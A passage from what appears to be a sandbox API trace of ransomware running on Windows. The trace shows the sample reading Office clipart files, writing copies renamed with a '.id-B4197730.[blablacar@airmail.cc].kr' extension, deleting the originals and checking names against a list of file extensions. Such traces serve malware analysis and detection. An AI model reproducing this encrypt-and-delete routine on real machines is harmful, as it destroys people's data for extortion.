hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x3960, lpOverlapped=0x0) returned 1 [0195.326] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x3970, lpOverlapped=0x0) returned 1 [0195.637] ReadFile (in: hFile=0x38c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.640] WriteFile (in: hFile=0x520, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0195.640] SetEndOfFile (hFile=0x520) returned 1 [0195.641] CloseHandle (hObject=0x520) returned 1 [0195.641] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.641] SetEndOfFile (hFile=0x38c) returned 1 [0195.646] CloseHandle (hObject=0x38c) returned 1 [0195.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.950] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0196.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.531] lstrlenW (lpString=".doc") returned 4 [0196.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.531] lstrlenW (lpString=".docx") returned 5 [0196.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.531] lstrlenW (lpString=".pdf") returned 4 [0196.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.531] lstrlenW (lpString=".xls") returned 4 [0196.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.531] lstrlenW (lpString=".xlsx") returned 5 [0196.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.531] lstrlenW (lpString=".ppt") returned 4 [0196.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.531] lstrlenW (lpString=".zip") returned 4 [0196.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.531] lstrlenW (lpString=".rar") returned 4 [0196.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.531] lstrlenW (lpString=".bz2") returned 4 [0196.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString=".7z") returned 3 [0196.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString=".dbf") returned 4 [0196.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString=".1cd") returned 4 [0196.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString=".jpg") returned 4 [0196.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString=".doc") returned 4 [0196.532] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString=".docx") returned 5 [0196.532] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.532] lstrlenW (lpString=".pdf") returned 4 [0196.532] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString=".xls") returned 4 [0196.532] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.532] lstrlenW (lpString=".xlsx") returned 5 [0196.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.532] lstrlenW (lpString=".ppt") returned 4 [0196.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.532] lstrlenW (lpString=".zip") returned 4 [0196.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.533] lstrlenW (lpString=".rar") returned 4 [0196.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.533] lstrlenW (lpString=".bz2") returned 4 [0196.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.533] lstrlenW (lpString=".7z") returned 3 [0196.533] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.533] lstrlenW (lpString=".dbf") returned 4 [0196.533] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.533] lstrlenW (lpString=".1cd") returned 4 [0196.533] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68 [0196.533] lstrlenW (lpString=".jpg") returned 4 [0196.533] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.533] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.533] lstrlenW (lpString="HH00687_.WMF") returned 12 [0196.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.534] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=4340) returned 1 [0196.534] CloseHandle (hObject=0x548) returned 1 [0196.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x220 [0196.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.535] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.535] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.536] GetLastError () returned 0x0 [0196.536] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x10f4, lpOverlapped=0x0) returned 1 [0196.538] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1100, lpOverlapped=0x0) returned 1 [0196.539] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.539] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0196.539] SetEndOfFile (hFile=0x3f8) returned 1 [0196.539] CloseHandle (hObject=0x3f8) returned 1 [0196.539] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.540] SetEndOfFile (hFile=0x548) returned 1 [0196.542] CloseHandle (hObject=0x548) returned 1 [0196.543] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.543] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf")) returned 1 [0196.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.545] lstrlenW (lpString=".doc") returned 4 [0196.545] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.545] lstrlenW (lpString=".docx") returned 5 [0196.545] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.545] lstrlenW (lpString=".pdf") returned 4 [0196.545] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.545] lstrlenW (lpString=".xls") returned 4 [0196.545] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.545] lstrlenW (lpString=".xlsx") returned 5 [0196.545] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.545] lstrlenW (lpString=".ppt") returned 4 [0196.545] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.545] lstrlenW (lpString=".zip") returned 4 [0196.545] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.545] lstrlenW (lpString=".rar") returned 4 [0196.545] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString=".bz2") returned 4 [0196.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString=".7z") returned 3 [0196.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString=".dbf") returned 4 [0196.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString=".1cd") returned 4 [0196.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString=".jpg") returned 4 [0196.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString=".doc") returned 4 [0196.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString=".docx") returned 5 [0196.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.546] lstrlenW (lpString=".pdf") returned 4 [0196.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString=".xls") returned 4 [0196.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.546] lstrlenW (lpString=".xlsx") returned 5 [0196.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.546] lstrlenW (lpString=".ppt") returned 4 [0196.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.546] lstrlenW (lpString=".zip") returned 4 [0196.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.547] lstrlenW (lpString=".rar") returned 4 [0196.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.547] lstrlenW (lpString=".bz2") returned 4 [0196.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.547] lstrlenW (lpString=".7z") returned 3 [0196.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.547] lstrlenW (lpString=".dbf") returned 4 [0196.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.547] lstrlenW (lpString=".1cd") returned 4 [0196.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68 [0196.547] lstrlenW (lpString=".jpg") returned 4 [0196.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.547] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.547] lstrlenW (lpString="HH00688_.WMF") returned 12 [0196.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.548] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7084) returned 1 [0196.548] CloseHandle (hObject=0x548) returned 1 [0196.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220 [0196.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.549] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.549] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.550] GetLastError () returned 0x0 [0196.550] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1bac, lpOverlapped=0x0) returned 1 [0196.551] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x1bb0, lpOverlapped=0x0) returned 1 [0196.552] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.553] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0196.553] SetEndOfFile (hFile=0x3f8) returned 1 [0196.553] CloseHandle (hObject=0x3f8) returned 1 [0196.553] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.553] SetEndOfFile (hFile=0x548) returned 1 [0196.556] CloseHandle (hObject=0x548) returned 1 [0196.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.556] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1 [0196.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.557] lstrlenW (lpString=".doc") returned 4 [0196.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.557] lstrlenW (lpString=".docx") returned 5 [0196.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.557] lstrlenW (lpString=".pdf") returned 4 [0196.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.557] lstrlenW (lpString=".xls") returned 4 [0196.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.557] lstrlenW (lpString=".xlsx") returned 5 [0196.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.557] lstrlenW (lpString=".ppt") returned 4 [0196.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.557] lstrlenW (lpString=".zip") returned 4 [0196.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.557] lstrlenW (lpString=".rar") returned 4 [0196.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString=".bz2") returned 4 [0196.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString=".7z") returned 3 [0196.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.558] lstrlenW (lpString=".dbf") returned 4 [0196.558] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.558] lstrlenW (lpString=".1cd") returned 4 [0196.558] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.558] lstrlenW (lpString=".jpg") returned 4 [0196.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.558] lstrlenW (lpString=".doc") returned 4 [0196.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString=".docx") returned 5 [0196.558] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.558] lstrlenW (lpString=".pdf") returned 4 [0196.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.558] lstrlenW (lpString=".xls") returned 4 [0196.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.558] lstrlenW (lpString=".xlsx") returned 5 [0196.558] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.559] lstrlenW (lpString=".ppt") returned 4 [0196.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.559] lstrlenW (lpString=".zip") returned 4 [0196.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.559] lstrlenW (lpString=".rar") returned 4 [0196.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.559] lstrlenW (lpString=".bz2") returned 4 [0196.559] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.559] lstrlenW (lpString=".7z") returned 3 [0196.559] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.559] lstrlenW (lpString=".dbf") returned 4 [0196.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.559] lstrlenW (lpString=".1cd") returned 4 [0196.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68 [0196.559] lstrlenW (lpString=".jpg") returned 4 [0196.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.559] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.559] lstrlenW (lpString="HH00693_.WMF") returned 12 [0196.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.560] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=7098) returned 1 [0196.560] CloseHandle (hObject=0x548) returned 1 [0196.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220 [0196.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.561] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.561] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0196.562] GetLastError () returned 0x0 [0196.562] ReadFile (in: hFile=0x548, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x1bba, lpOverlapped=0x0) returned 1 [0196.563] WriteFile (in: hFile=0x3f8, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: 